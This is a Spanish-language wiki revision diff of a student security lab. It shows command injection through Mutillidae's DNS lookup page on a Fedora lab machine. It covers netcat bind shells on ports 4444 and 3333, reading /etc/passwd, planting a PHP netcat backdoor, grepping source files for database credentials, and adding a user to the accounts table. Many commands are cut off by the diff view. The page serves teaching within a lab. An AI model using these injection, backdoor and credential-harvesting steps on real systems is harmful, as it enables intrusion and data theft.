sad:fedora14:p3
Diferencias
Muestra las diferencias entre dos versiones de la página.
Ambos lados, revisión anteriorRevisión previaPróxima revisión | Revisión previa | ||
sad:fedora14:p3 [2018/01/27 22:40] – José Manuel Guallar | sad:fedora14:p3 [2019/01/04 13:18] (actual) – editor externo 127.0.0.1 | ||
---|---|---|---|
Línea 1: | Línea 1: | ||
+ | ====== Inyección de comandos Netcat ====== | ||
+ | |||
**¿Qué es Inyección de Comando?** | **¿Qué es Inyección de Comando?** | ||
Línea 28: | Línea 30: | ||
* Llevar a cabo el reconocimiento de la base de datos | * Llevar a cabo el reconocimiento de la base de datos | ||
* Agregue un usuario a la tabla nowasp. accounts. | * Agregue un usuario a la tabla nowasp. accounts. | ||
+ | |||
+ | Lo primero de todo voy a ver que ip tiene cada una de las maquinas | ||
+ | * Fedora tiene 192.168.153.39 | ||
+ | * BT tiene 192.168.153.43 | ||
+ | |||
+ | {{: | ||
+ | |||
+ | Vamos como el ejercicio anterior a http:// | ||
+ | |||
+ | OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup | ||
+ | |||
+ | |||
A continuación, | A continuación, | ||
Instrucciones: | Instrucciones: | ||
+ | <code basH> | ||
+ | www.colegiomontessori.com; | ||
+ | </ | ||
- | www.colegiomontessori.com; | + | ** Hacemos un FIFO llamada pipe.** |
- | + | ||
- | Hacemos un FIFO llamada pipe. | + | |
Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | Las (pipes)tuberías permiten que procesos separados se comuniquen sin haber sido diseñados explícitamente para funcionar juntos. | ||
Línea 41: | Línea 56: | ||
Esto permitirá que dos procesos se conecten a netcat. | Esto permitirá que dos procesos se conecten a netcat. | ||
- | nc -l 4444, le dice a netcat que escuche y permita conexiones en el puerto 4444. | + | **nc -l 4444,** le dice a netcat que escuche y permita conexiones en el puerto 4444. |
+ | |||
+ | |||
+ | {{: | ||
+ | {{: | ||
**NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | **NOTA**: NO SE MUESTRA NINGÚN RESULTADO EN LA EJECUCIÓN DE ESTA SENTENCIA | ||
Línea 50: | Línea 69: | ||
Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: | Ambos mensajes son una buena señal de que Netcat se está ejecutando y escuchando una conexión.:?: | ||
- | ====== | ||
- | Conéctese a Netcat ====== | ||
+ | ====== Conéctese a Netcat ====== | ||
Escribir las siguientes sentencias en el BackTrack | Escribir las siguientes sentencias en el BackTrack | ||
- | Reemplazar | + | Reemplazar |
- | **nc 192.168.1.111 4444** | + | <code bash> |
+ | root@bt: | ||
+ | </ | ||
+ | |||
+ | {{: | ||
Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | Utilicamos el BackTrack para conectarse a la sesión Netcat de Fedora en el puerto 4444 | ||
- | **hostname** | + | '' |
Este es el nombre de host del servidor que aloja DVWA. | Este es el nombre de host del servidor que aloja DVWA. | ||
- | **whoami** | + | '' |
Es decir, ¿con quién me conecto? | Es decir, ¿con quién me conecto? | ||
- | **pwd** | + | '' |
directorio de trabajo | directorio de trabajo | ||
- | **uname -a** | + | '' |
- | muestra informacion del sistema | + | muestra informacion del sistema |
- | **cat /etc/passwd > passwd.txt** | + | '' |
crea passwd.txt localizado en / | crea passwd.txt localizado en / | ||
- | ls -l $PWD/ | + | |
+ | '' | ||
lista el fichero passwd.txt | lista el fichero passwd.txt | ||
+ | |||
+ | {{: | ||
**volvemos al Firefox y abrimos otra pestaña y escribimos** | **volvemos al Firefox y abrimos otra pestaña y escribimos** | ||
- | http:// | + | '' |
+ | |||
+ | {{: | ||
====== Creación de una puerta trasera (PHP) ====== | ====== Creación de una puerta trasera (PHP) ====== | ||
Línea 94: | Línea 121: | ||
Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | Podemos realizar las siguientes instrucciones utilizando la sesión previa de Netcat en BackTrack. | ||
- | Ahora podemos crear un archivo | + | Ahora podemos crear un script |
- | + | ||
- | Vamos a crear un script php que servirá como una puerta trasera netcat sin tener que ejecutar netcat usando la ejecución del comando nslookup. | + | |
<code bash> | <code bash> | ||
Línea 106: | Línea 131: | ||
</ | </ | ||
- | http:// | + | {{: |
+ | |||
+ | '' | ||
+ | |||
+ | Ejecutamos **nc_connect.php** | ||
+ | |||
+ | '' | ||
+ | |||
+ | veremos que en la web pone conectando..... | ||
+ | |||
+ | abrimos otro terminal en Backtrack y escribimos | ||
+ | |||
+ | <code bash> | ||
+ | |||
+ | root@bt:~# nc 192.168.153.39 3333 | ||
+ | whoami | ||
+ | ps -eaf | egrep ' | ||
+ | |||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | {{: | ||
+ | |||
+ | Las dos primeras lineas es la ejecución del netcat via nslookup | ||
+ | |||
+ | las ultimas lineas el la puerta trasera | ||
+ | |||
+ | Para Listar todos los scripts que hay en php, la idea es la misma que la practica anterior, averiguar el usuario y la contraseña | ||
+ | |||
+ | primero vamos a ver nuestro directorio de trabajo | ||
+ | |||
+ | '' | ||
+ | |||
+ | luego vamos a contar los scripts\\ | ||
+ | |||
+ | '' | ||
+ | |||
+ | despues vamos a contar los archivos incluye de php\\ | ||
+ | |||
+ | '' | ||
+ | |||
+ | lo siguiente sera buscar en cada archivo include (.inc) las palabras " | ||
+ | |||
+ | {{: | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | |||
+ | **find * -name " | ||
+ | |||
+ | ** xargs** construye y ejecutar líneas de comando desde entrada estándar | ||
+ | |||
+ | **grep -i password** busca la palabra password (ignora mayuscula y minusculas) | ||
+ | |||
+ | **egrep -i ' | ||
+ | |||
+ | {{: | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | ahora buscamos lo mismo pero solo mostramos las 8 primeras lineas de la cabecera, y observamos que el nombre del script que contiene la contraseña de la Base de datos es MySQLHandler.php | ||
+ | |||
+ | Buscamos información de autentificación en el archivo MySQLHandler.php buscamos las palabras password, username o database y el simbolo de = | ||
+ | |||
+ | <code bash> | ||
+ | find * -name " | ||
+ | </ | ||
+ | {{: | ||
+ | |||
+ | El siguiente comando muestra cómo ejecutar los comandos de la base de datos en la sesión de netcat. | ||
+ | |||
+ | <code php> | ||
+ | echo "show databases;" | ||
+ | echo "use nowasp; show tables;" | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | |||
+ | Vamos a investigar el contenido de la tabla accounts | ||
+ | |||
+ | primer comando enseña los campos por columnas y por supuesto podemos ver el contenido de tablas | ||
+ | |||
+ | <code php> | ||
+ | echo "use nowasp; desc accounts;" | ||
+ | echo " | ||
+ | </ | ||
+ | |||
+ | {{: | ||
+ | |||
+ | ===== ahora vamos a crear un nuevo usuario en la tabla ===== | ||
+ | |||
+ | |||
+ | <code bash> | ||
+ | echo " | ||
+ | echo " | ||
+ | </ | ||
+ | {{: | ||
+ | |||
+ | |||
+ | '' | ||
+ | |||
+ | Tienes que realizar los siguientes pasos en el terminal de netcat nc_connect.php | ||
+ | |||
+ | <code bash> | ||
+ | echo " | ||
+ | netstat -nao | egrep ' | ||
+ | date | ||
+ | echo "tu nombre" | ||
+ | </ | ||
sad/fedora14/p3.1517092829.txt.gz · Última modificación: (editor externo)